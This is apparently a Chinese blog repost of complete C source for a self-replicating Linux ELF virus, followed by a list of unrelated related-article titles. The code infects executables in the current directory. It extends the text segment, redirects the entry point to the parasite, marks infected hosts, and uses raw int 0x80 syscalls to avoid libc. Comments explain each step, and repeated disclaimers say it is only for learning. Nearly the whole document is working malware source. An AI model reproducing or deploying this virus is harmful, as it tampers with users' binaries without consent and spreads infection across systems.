---------感染技术text 段感染,同会时自我复制---------
//=免责声明=
此代码纯粹是为了学习,非法使用与作者无关!!!
此代码纯粹是为了学习,非法使用与作者无关!!!
此代码纯粹是为了学习,非法使用与作者无关!!!
此代码纯粹是为了学习,非法使用与作者无关!!!
此代码纯粹是为了学习,非法使用与作者无关!!!
此代码纯粹是为了学习,非法使用与作者无关!!!

//在ELF可执行文件内的UNIX病毒感染。
//行为:
//病毒将自身复制到其具有写入权限的第一个未受感染的可执行文件中,
//因此,病毒每次复制一个可执行文件。病毒写了一点标记。
//进入它所感染的每一个二进制文件,这样它就不会再感染它了。目前的病毒
//只感染当前工作目录内的文件,但可以很容易地修改。
//此病毒在主机内的文本段结束时扩展/创建页大小填充。
//可执行文件,并将其复制到该位置。原始入口点被修补到启动寄生虫,
//在执行后将控制返回主机。 代码是独立的,并且通过SysCal宏来躲避LIBC。
//Compile:
//gcc virus.c -o virus -nostdlib//-------------------------用到的技术------------------------------------//
// 1.将elf文件头中的 ehdr->e_shoff 增加xx页的大小
// 2.定位text 段的 phdr
//   1.将入口点修改为寄生代码的位置
//   2.ehdr->e_entry=phdr[TEXT].pvaddr+phdr[TEXT].p_filesz
//   3.pvaddr+phdr[TEXT].p_filesz增加寄生代码的长度值
//   4.将pvaddr+phdr[TEXT].p_memsz 增加寄生代码的长度值
// 3.对每个 phdr,如果对应的段位于寄生代码之后,则将phdr[x]p._offset 增加xx页的大小
// 4.找到 text 段的最后一个shdr,将shdr[x].sh_size 增加寄生代码的长度值(因为在这个节中将会存放寄生代码 )
// 5.对每个位于寄生代码插入位置之后的 shdr,将 shdr[x].sh_offset 增加 xx 页的大小
// 6.将真正的寄生代码插入到 text 段的 file_base+phdr[text].p_filesz
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <linux/fcntl.h>
#include <errno.h>
#include <elf.h>
#include <asm/unistd.h>
#include <asm/stat.h>
#define PAGE_SIZE 4096
#define BUF_SIZE 1024
#define TMP "vx.tmp"void end_code(void);
unsigned long get_eip();
unsigned long old_e_entry;
void end_code(void);
void mirror_binary_with_parasite (unsigned int, unsigned char *, unsigned int,struct stat, char *, unsigned long);extern int myend;
extern int foobar;
extern int real_start;//main入口 修改原来的入口指向 do_main
//---------------------------------real_start:----------------------------------//
_start()
{
__asm__(".globl real_start\n""real_start:\n""pusha\n""call do_main\n""popa\n""jmp myend\n");}
//注入要执行的代码
do_main()
{struct linux_dirent{long d_ino;off_t d_off;unsigned short d_reclen;char d_name[];};char *host;char buf[BUF_SIZE];char cwd[2];struct linux_dirent *d;int bpos;int dd, nread;unsigned char *tp;int fd, i, c;char text_found;mode_t mode;struct stat st;
//偏移unsigned long address_of_main = get_eip() - ((char *)&foobar - (char *)&real_start);
//离 do_main大小也就是寄生代码大小unsigned int parasite_size = (char *)&myend - (char *)&real_start;parasite_size += 7;unsigned long int leap_offset;unsigned long parasite_vaddr;unsigned int numbytes;Elf32_Shdr *s_hdr;Elf32_Ehdr *e_hdr;Elf32_Phdr *p_hdr;unsigned long text;int nc; int magic = 32769;int m, md;text_found = 0;unsigned int after_insertion_offset;unsigned int end_of_text;char infected;cwd[0] = '.';cwd[1] = 0;dd = open (cwd, O_RDONLY | O_DIRECTORY);nread = getdents (dd, buf, BUF_SIZE);for (bpos = 0; bpos < nread;) {d = (struct linux_dirent *) (buf + bpos);bpos += d->d_reclen;host = d->d_name;if (host[0] == '.')   continue;if (host[0] == 'l')continue;fd = open (d->d_name, O_RDONLY); stat(host, &st);char mem[st.st_size];infected = 0;c = read (fd, mem, st.st_size);e_hdr = (Elf32_Ehdr *) mem;if (e_hdr->e_ident[0] != 0x7f && strcmp (&e_hdr->e_ident[1], "ELF")) {close (fd);continue;}else {p_hdr = (Elf32_Phdr *) (mem + e_hdr->e_phoff);for (i = e_hdr->e_phnum; i-- > 0; p_hdr++){if (p_hdr->p_type == PT_LOAD){if (p_hdr->p_flags == (PF_R | PF_X)){   md = open(d->d_name, O_RDONLY);unsigned int pt = (PAGE_SIZE - 4) - parasite_size;lseek(md, p_hdr->p_offset + p_hdr->p_filesz + pt, SEEK_SET);read(md, &m, sizeof(magic));if (m == magic)infected++; close(md);break;}}}} if (infected){close(fd);continue; }else{p_hdr = (Elf32_Phdr *) (mem + e_hdr->e_phoff);for (i = e_hdr->e_phnum; i-- > 0; p_hdr++) {if (text_found) {p_hdr->p_offset += PAGE_SIZE;continue;}else if (p_hdr->p_type == PT_LOAD) {if (p_hdr->p_flags == (PF_R | PF_X)) {text = p_hdr->p_vaddr;parasite_vaddr = p_hdr->p_vaddr + p_hdr->p_filesz;old_e_entry = e_hdr->e_entry;e_hdr->e_entry = parasite_vaddr;end_of_text = p_hdr->p_offset + p_hdr->p_filesz;p_hdr->p_filesz += parasite_size; p_hdr->p_memsz += parasite_size;text_found++;}}}} s_hdr = (Elf32_Shdr *) (mem + e_hdr->e_shoff);for (i = e_hdr->e_shnum; i-- > 0; s_hdr++) {if (s_hdr->sh_offset >= end_of_text)s_hdr->sh_offset += PAGE_SIZE;else if (s_hdr->sh_size + s_hdr->sh_addr == parasite_vaddr)s_hdr->sh_size += parasite_size;} //增加 xx页e_hdr->e_shoff += PAGE_SIZE;//插入寄生代码mirror_binary_with_parasite (parasite_size, mem, end_of_text, st, host, address_of_main);close (fd);goto done;}done:close (dd);}//插入寄生代码
void
mirror_binary_with_parasite (unsigned int psize, unsigned char *mem,unsigned int end_of_text, struct stat st, char *host, unsigned long address_of_main)
{int ofd;unsigned int c;int i, t = 0;int magic = 32769;char tmp[3];tmp[0] = '.'; tmp[1] = 'v';tmp[2] = 0;char jmp_code[7];jmp_code[0] = '\x68'; /* push */jmp_code[1] = '\x00'; /* 00   */jmp_code[2] = '\x00'; /* 00   */jmp_code[3] = '\x00'; /* 00   */jmp_code[4] = '\x00'; /* 00   */jmp_code[5] = '\xc3'; /* ret */jmp_code[6] = 0;int return_entry_start = 1;ofd = open (tmp, O_CREAT | O_WRONLY | O_TRUNC, st.st_mode);write (ofd, mem, end_of_text);*(unsigned long *) &jmp_code[1] = old_e_entry;write (ofd, (char *)address_of_main, psize - 7);write (ofd, jmp_code, 7);lseek (ofd, (PAGE_SIZE - 4) - psize, SEEK_CUR); write (ofd, &magic, sizeof(magic));mem += end_of_text;unsigned int last_chunk = st.st_size - end_of_text;write (ofd, mem, last_chunk);rename (tmp, host);close (ofd);}
//获取 eip
unsigned long get_eip(void)
{__asm__("call foobar\n"".globl foobar\n""foobar:\n""pop %eax");
}
//---------------------------foobar:----------------------------------//
//系统调用 syscall0
#define __syscall0(type,name) \
type name(void) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \: "=a" (__res) \: "0" (__NR_##name)); \
return(type)__res; \
}
//系统调用 syscall1
#define __syscall1(type,name,type1,arg1) \
type name(type1 arg1) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \: "=a" (__res) \: "0" (__NR_##name),"b" ((long)(arg1))); \
return(type)__res; \
}//系统调用 syscall2
#define __syscall2(type,name,type1,arg1,type2,arg2) \
type name(type1 arg1,type2 arg2) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \: "=a" (__res) \: "0" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2))); \
return(type)__res; \
}
//系统调用 syscall3
#define __syscall3(type,name,type1,arg1,type2,arg2,type3,arg3) \
type name(type1 arg1,type2 arg2,type3 arg3) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \: "=a" (__res) \: "0" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2)), \"d" ((long)(arg3))); \
return(type)__res; \
}
//系统调用 syscall4
#define __syscall4(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4) \
type name (type1 arg1, type2 arg2, type3 arg3, type4 arg4) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \: "=a" (__res) \: "0" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2)), \"d" ((long)(arg3)),"S" ((long)(arg4))); \
return(type)__res; \
}
//系统调用 syscall5
#define __syscall5(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4, \type5,arg5) \
type name (type1 arg1,type2 arg2,type3 arg3,type4 arg4,type5 arg5) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \: "=a" (__res) \: "0" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2)), \"d" ((long)(arg3)),"S" ((long)(arg4)),"D" ((long)(arg5))); \
return(type)__res; \
}
//系统调用 syscall5
#define __syscall6(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4, \type5,arg5,type6,arg6) \
type name (type1 arg1,type2 arg2,type3 arg3,type4 arg4,type5 arg5,type6 arg6) \
{ \
long __res; \
__asm__ volatile ("push %%ebp ; movl %%eax,%%ebp ; movl %1,%%eax ; int $0x80 ; pop %%ebp" \: "=a" (__res) \: "i" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2)), \"d" ((long)(arg3)),"S" ((long)(arg4)),"D" ((long)(arg5)), \"0" ((long)(arg6))); \
return(type),__res; \
}
//系统调用
__syscall1(void, exit, int, status);
__syscall3(ssize_t, write, int, fd, const void *, buf, size_t, count);
__syscall3(off_t, lseek, int, fildes, off_t, offset, int, whence);
__syscall2(int, fstat, int, fildes, struct stat * , buf);
__syscall2(int, rename, const char *, old, const char *, new);
__syscall3(int, open, const char *, pathname, int, flags, mode_t, mode);
__syscall1(int, close, int, fd);
__syscall3(int, getdents, uint, fd, struct dirent *, dirp, uint, count);
__syscall3(int, read, int, fd, void *, buf, size_t, count);
__syscall2(int, stat, const char *, path, struct stat *, buf);
//main end结束
void end_code() {__asm__(".globl myend\n""myend:      \n""mov $1,%eax \n""mov $0,%ebx \n""int $0x80   \n"); }

转载于:https://blog.51cto.com/haidragon/2134737

linux病毒 (LPV)相关推荐

  1. linux病毒sfewfesfs

    linux病毒sfewfesfs 由于昨天在内网服务器A不小心rm -fr / ,导致服务器A完蛋,重装系统后,不知道啥原因,局域网瘫痪不能上网,最后发现内网服务器A的一个进程sfewfesfs cp ...

  2. linux 病毒脚本,解析常见的Linux病毒

    Linux的用户也许听说甚至遇到过一些Linux病毒,这些Linux病毒的原理和发作症状各不相同,所以采取的防范方法也各不相同. 为了更好地防范Linux病毒,我们先对已知的一些Linux病毒进行分类 ...

  3. 新型 Linux 病毒,脚本超 1000 行,功能复杂

    俄罗斯杀毒软件公司 Dr.Web 近日公开了一个被称为 Linux.BtcMine.174 的新型木马,相比传统恶意 Linux 病毒,它更加复杂,同时也包含了大量恶意功能. 该木马是一个包含 100 ...

  4. linux 病毒 sfewfesfs

    介绍 由于昨天在内网服务器A不小心rm -fr / ,导致服务器A完蛋,重装系统后,不知道啥原因,局域网瘫痪不能上网,最后发现内网服务器A的一个进程sfewfesfs cpu 300%.路由器被网络阻 ...

  5. 袁萌:Linux病毒为何不会泛滥成灾?

    大家知道,Linux不是没有病毒,而是Linux病毒不易四处传播,感染他人.此话,根据何在? 2月28日,看了<第一财经日报>一篇报道,题为"揭秘病毒产业链运作:操纵流量一年获益 ...

  6. 一个Linux病毒艰辛短暂的一生

    分享一下我老师大神的人工智能教程!零基础,通俗易懂!http://blog.csdn.net/jiangjunshow 也欢迎大家转载本篇文章.分享知识,造福人民,实现我们中华民族伟大复兴! 原贴:h ...

  7. Linux病毒研究与分析

    前言: 在我们日常生活中早就对windows中的病毒习惯了,对付windows中的病毒.我们有很多办法:杀毒软件.专杀工具等,但是这些东西往往主要集中在windows这一领域. 随着网络的发展,很多企 ...

  8. 查杀我这辈子有幸遇到的第一个Linux病毒 (by quqi99)

    作者:张华 发表于:2021-08-17 版权声明:可以任意转载,转载时请务必以超链接形式标明文章原始出处和作者信息及本版权声明 问题 本人有一个腾讯虚机,昨天忽然ssh不上去了,控制台重启之后就又上 ...

  9. linux 病毒类型,linux系统常见的一些病毒类型和防范

    Linux的用户也许听说甚至遇到过一些Linux病毒,这些Linux病毒的原理和发作症状各不相同,所以采取的防范方法也各不相同. 为了更好地防范Linux病毒,我们先对已知的一些Linux病毒进行分类 ...

最新文章

  1. Altium designer中高亮元器件或网络时对比度调节
  2. java 多线程 串行 加锁_java多线程 synchronized 与lock锁 实现线程安全
  3. enum.values_占用内存的Enum.values()方法
  4. 大话重构连载9:大布局你伤不起
  5. Soul网关源码阅读(八)路由匹配初探
  6. Linux中的sed命令
  7. [.NET] 怎样使用 async await 一步步将同步代码转换为异步编程
  8. 【李宏毅2020 ML/DL】P79 Generative Adversarial Network | Tips for improving GAN
  9. ctp怎么设置java的编码为GBK_GitHub - yuelong2456/java-ctp: java包装的上期ctp,用swig技术实现。...
  10. bash linux .ee,Linux下Bash shell学习笔记.md
  11. 1.3万亿条数据查询毫秒级响应,如何做到的?
  12. linux 解压war到root_unzip命令解压war包方法
  13. snapgene闪退?DNA序列无法显示?无法正常使用?
  14. 数据分析EXCEL常用统计函数
  15. 利用Python爬虫建立自己的磁力搜索引擎
  16. mysql设计用户标签库_针对Tag/标签的数据库设计思考 | 学步园
  17. RMS调度器实现原理
  18. 猿创征文 | 常见的五款BI报表介绍
  19. 阅读笔记0001之聊聊数据分析现状
  20. 地图坐标系统(各种坐标系详解)

热门文章

  1. 四川大学华西医院“大数据集成及应用平台”项目 市场调研
  2. C++priority_queue模拟实现与仿函数讲解
  3. 将谷歌浏览器 Chrome 已安装的插件打包成 crx 给其它电脑离线安装
  4. byte Byte
  5. Liunx基础命令 - mv剪切命令
  6. SemrushBot是什么搜索蜘蛛爬虫?
  7. Centos7 忘记密码的情况下,修改root或其他用户密码
  8. java基于Springboot+vue的农产品销售商城网站 elementui
  9. CAD看图有什么技巧?怎么实现CAD快速看图?
  10. 什么是Keepalived?